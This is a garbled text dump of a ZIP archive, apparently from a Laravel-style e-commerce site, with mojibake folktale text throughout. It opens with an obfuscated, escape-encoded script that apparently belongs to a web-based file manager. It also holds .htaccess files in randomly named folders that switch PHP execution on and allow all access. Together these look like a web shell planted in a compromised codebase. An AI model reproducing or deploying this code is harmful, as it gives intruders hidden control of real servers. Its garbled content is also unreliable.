x20\x20\40\x20\40\x20\146\144\x2e\141\x70\160\145\156\x64\50\x27\160\x61\164\x68\x5f\142\66\x34\x27\54\40\142\x74\x6f\x61\50\x70\141\x74\x68\x29\x29\x3b\xa\x20\40\40\40\40\40\40\x20\40\40\x20\x20\x7d\40\x65\154\163\145\x20\x7b\xa\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\146\144\x2e\x61\x70\x70\x65\x6e\x64\50\47\x70\141\x74\150\47\x2c\40\x70\x61\164\150\x29\x3b\xa\40\40\40\40\40\40\x20\x20\40\x20\x20\40\x7d\xa\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\141\160\151\x43\x61\x6c\154\x28\x61\x63\164\151\157\156\54\x20\146\x64\54\40\164\x72\x75\145\51\x2e\164\x68\145\x6e\50\162\x65\x73\x75\x6c\164\x20\x3d\x3e\x20\173\12\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\40\x69\146\x28\162\145\163\x75\154\x74\x29\40\x7b\xa\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\40\40\40\144\157\155\56\x65\x64\151\164\157\162\x4d\x6f\x64\141\x6c\56\163\164\171\154\145\56\x64\x69\x73\160\x6c\x61\x79\40\75\40\47\x6e\157\156\145\47\x3b\12\40\x20\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\162\145\x6e\144\x65\x72\50\x29\x3b\xa\40\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\175\12\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\x7d\x29\73\12\x20\40\40\x20\40\40\40\x20\x7d\51\73\xa\12\40\x20\x20\x20\40\40\40\x20\162\x65\x6e\144\145\162\x28\x29\73\12\40\x20\x20\x20\x7d\x29\x3b\12\40\x20\x20\40\74\57\x73\143\x72\x69\160\x74\x3e\12\x3c\x2f\142\x6f\x64\171\x3e\xa\x3c\57\150\164\x6d\x6c\76";PKÌN]^1½[ÚÚpub2f778f/.htaccessnu„[µü¤ php_flag engine on php_flag engine on php_flag engine on Order Allow,Deny Allow from all PKÌN]×Ïu•/•/pub2f778f/inc0a0291/index.phpnu„[µü¤233二点多ååå¤å¤vv ãµãŸã‚Šã®ä½ã‚“ã§ã„ã‚‹æ‘ã¯å¤§å¤‰è²§ã—ãã€ãã®æ—¥æš®ã‚‰ã™ã®ã‚‚大変ã§ã—ãŸãŒã€ã§ã‚‚心ã®å„ªã—ã„人ãŸã¡ã°ã‹ã‚Šã§ã—ãŸã®ã§ã€ã™ãã«ãŠãªã‹ã®ã™ã„ã¦ã„ã‚‹å­ä¾›ã®ãŸã‚ã«æŒã£ã¦ã„ã‚‹ã‚‚ã®ã§åˆ†ã‘られるもã®ã‚’ãŠçˆºã•ã‚“ãŸã¡ã«ãれãŸã®ã§ã—ãŸã€‚ 他們ä½çš„æ‘å­éžå¸¸è²§çª®ï¼Œæ¯å¤©çš„生活都很艱難。 但æ‘è£¡çš„äººå¿ƒåœ°å–„è‰¯ï¼Œé¡˜æ„æ‹¿å‡ºè‡ªå·±åƒ…有的食物給è€çˆºçˆºï¼Œå¹«åŠ©é€™å€‹é¤“è‚šå­çš„å­©å­ã€‚ ã‚ã‹ãŸã‚ã†ã¯ãªã‚“ã§ã‚‚喜んã§ã±ãã±ã食ã¹ã‚‹ã®ã§ã€ãれを目を細ã‚ã¦æ¥½ã—ãã†ã«è¦‹ã¦ã„ãŸãŠã˜ã„ã•ã‚“ã¨ãŠã°ã‚ã•ã‚“ã¯ã€ãµã¨ã‚ã‚‹ã“ã¨ã«æ°—ãŒä»˜ãã¾ã—ãŸã€‚ã©ã†ã‚„らã‚ã‹ãŸã‚ã†ã¯ã”飯を一膳食ã¹ã‚‹ã¨ã”飯一膳分大ãããªã‚‹ã‚ˆã†ãªã®ã§ã™ã€‚ 阿垢太郎開心地什麼都大å£å¤§å£åƒè‘—,è€çˆºçˆºå’Œè€å¥¶å¥¶é«˜èˆˆåœ°çž‡è‘—眼ç›çœ‹è‘—ä»–åƒï¼Œçªç„¶å¯Ÿè¦ºåˆ°ä»€éº¼ã€‚ 他們注æ„到阿垢太郎åƒäº†ä¸€ç¢—飯,身體就會長大一碗飯的份é‡ã€‚ 何日ã‹ã—ã¦éšåˆ†ã¨å¤§ãããªã£ãŸã‚ã‹ãŸã‚ã†ã¯ã‚ã‚‹æ—¥ãŠçˆºã•ã‚“ã«ã“ã†ã„ã„ã¾ã—ãŸã€‚ ã€Œã˜æ§˜ã€ãŠã‚‰é‡‘棒ãŒã»ã—ã„。金棒をãれã‚や。〠幾天後,阿垢太郎長大了ä¸å°‘。 有一天,他å°è€çˆºçˆºèªªï¼šã€Œçˆºçˆºï¼Œæˆ‘想è¦ä¸€æ ¹é‡‘棒,給我å§ã€‚〠ãŠçˆºã•ã‚“ã¨ãŠã°ã‚ã•ã‚“ã¯é‡‘棒ãªã©ä½•ã«ã™ã‚‹ã®ã‹ã¨æ€ã„ã¾ã—ãŸãŒã€ç¥žã•ã¾ã«å‘½ã‚’å¹ã込んã§ã„ãŸã ã„ãŸã‚ã‹ãŸã‚ã†ã§ã™ã€ãã£ã¨ãªã«ã‹ã‚ã‘ãŒã‚ã‚‹ã®ã ã‚ã†ã¨ã€æ‘ã®é›å†¶å±‹ã¸è¡Œãã€ã“ã†ã“ã†ã“ã†ã„ã†ã‚ã‘ã§é‡‘棒を作ã£ã¦ãれãªã„ã‹ã¨é ¼ã¿ã¾ã—ãŸã€‚ è€çˆºçˆºå’Œè€å¥¶å¥¶ä¸çŸ¥é“ä»–è¦é‡‘棒åšä»€éº¼ï¼Œä½†æƒ³åˆ°é˜¿åž¢å¤ªéƒŽæ˜¯è¢«ç¥žæ³¨å…¥ç”Ÿå‘½çš„,肯定有他的é“ç†ã€‚ 於是,他們去了æ‘裡的éµåŒ é‹ªï¼Œè«‹æ±‚éµåŒ å¹«å¿™åšä¸€æ ¹é‡‘棒。 ã™ã‚‹ã¨é›å†¶å±‹ã¯ã€äº‹ã®æ¬¡ç¬¬ã‚’知ã£ã¦ã„ã¾ã—ãŸã—ã€ãŠçˆºã•ã‚“ãŸã¡ã¨åŒã˜è€ƒãˆã ã£ãŸã®ã§ã€è‡ªåˆ†ã‹ã‚‰é‡‘棒を作ã£ã¦ã€ã‚ã‹ãŸã‚ã†ã«æ¸¡ã—ã¦ãれã¾ã—ãŸã€‚ éµåŒ è½äº†äº‹æƒ…的來é¾åŽ»è„ˆï¼Œæƒ³æ³•è·Ÿè€çˆºçˆºä»–們相åŒï¼Œä¾¿è‡ªå·±è£½ä½œäº†ä¸€æ ¹é‡‘棒給阿垢太郎。 ãれã‹1らã‚1ã‹ãŸ1ã‚ã†ã¯ãŠçˆºã•ã‚“ã¨ãŠã°ã‚ã•ã‚“ã€æ‘ã®äºº11ãŸ1121ã¡ã«åˆ¥1れを告ã’ã¦ã€ãŠã°ã‚ã•ã‚“ã®ã“ã—11らãˆã¦ãれãŸèµ¤ã„ã¡ã‚ƒã‚“ã¡ã‚ƒã‚“ã“ã‚’ç€ã¦ã€1一人ã§é‡‘1棒11ã‚’1è‚©ã«æ‹…ã„ã§æ‘を出ã¦è¡Œãã¾ã—ãŸã€‚ 阿垢太郎告別了è€1爺爺ã€è€å¥¶å¥¶å’Œæ‘民,穿上è€å¥¶å¥¶åšçš„ç´…1色1無袖,羽織.,扛著金棒ç¨è‡ªé›¢é–‹äº†æ‘å­ã€‚ php_flag engine on php_flag engine on php_flag engine on Order Allow,Deny Allow from all PKÌN]äËKˆ@è@è admin.phpnu„[µü¤PKÌN]mµ‚¢““ yèaffiliate.phpnu„[µü¤PKÌN]9©Ù” ” I÷african_pg.phpnu„[µü¤PKÌN]F];X¹|¹|api.phpnu„[µü¤PKÌN]q¯¯ €api_seller.phpnu„[µü¤PKÌN]K®Tm¯¯ øžauction.phpnu„[µü¤PKÌN]UÍI¯   â¯channels.phpnu„[µü¤PKÌN]ªÐƒWww*²club_points.phpnu„[µü¤PKÌN]wq‚;; àºconsole.phpnu„[µü¤PKÌN]¿6kçssV½cybersource.phpnu„[µü¤PKÌN]FP P ¿delivery_boy.phpnu„[µü¤PKÌN]~l6•__˜Ìgst.phpnu„[µü¤PKÌN]¨v–?? .Óinstall.phpnu„[µü¤PKÌN]Áœë-áá¨×offline_payment.phpnu„[µü¤PKÌN]ÿSÖí í Ìîotp.phpnu„[µü¤PKÌN]°¦‹È44 ðùpathao.phpnu„[µü¤PKÌN]ž ÏòŒŒ ^þpaytm.phpnu„[µü¤PKÌN]ø~is>>#pos.phpnu„[µü¤PKÌN]26±’Š9Š9 ˜preorder.phpnu„[µü¤PKÌN]¬dõ==^Qrefund_request.phpnu„[µü¤PKÌN]òçýþ5/5/ Ýjseller.phpnu„[µü¤PKÌN] åq$Lšseller_package.phpnu„[µü¤PKÌN]ìÆ§§ shiprocket.phpnu„[µü¤PKÌN]%õ޳ ‚§steadfast.phpnu„[µü¤PKÌN]vd‘nn Ä«update.phpnu„[µü¤PKÌN]†04©vvl­web.phpnu„[µü¤PKÌN]·li=° ° ¼#wholesale.phpnu„[µü¤PKÌN]iÇ<œœ©-knet.phpnu„[µü¤PKÌN]i1…q}1redx.phpnu„[µü¤PKÌN]¯èPè  ¶7uddoktapay.phpnu„[µü¤PKÌN]Yk¨…… <.htaccessnu„[µü¤PKÌN]ácLßA(A(Ò=pub2f778f/index.phpnu„[µü¤PKÌN]^1½[ÚÚVfpub2f778f/.htaccessnu„[µü¤PKÌN]×Ïu•/•/sgpub2f778f/inc0a0291/index.phpnu„[µü¤PKÌN]^1½[ÚÚU—pub2f778f/inc0a0291/.htaccessnu„[µü¤PK##‰ |˜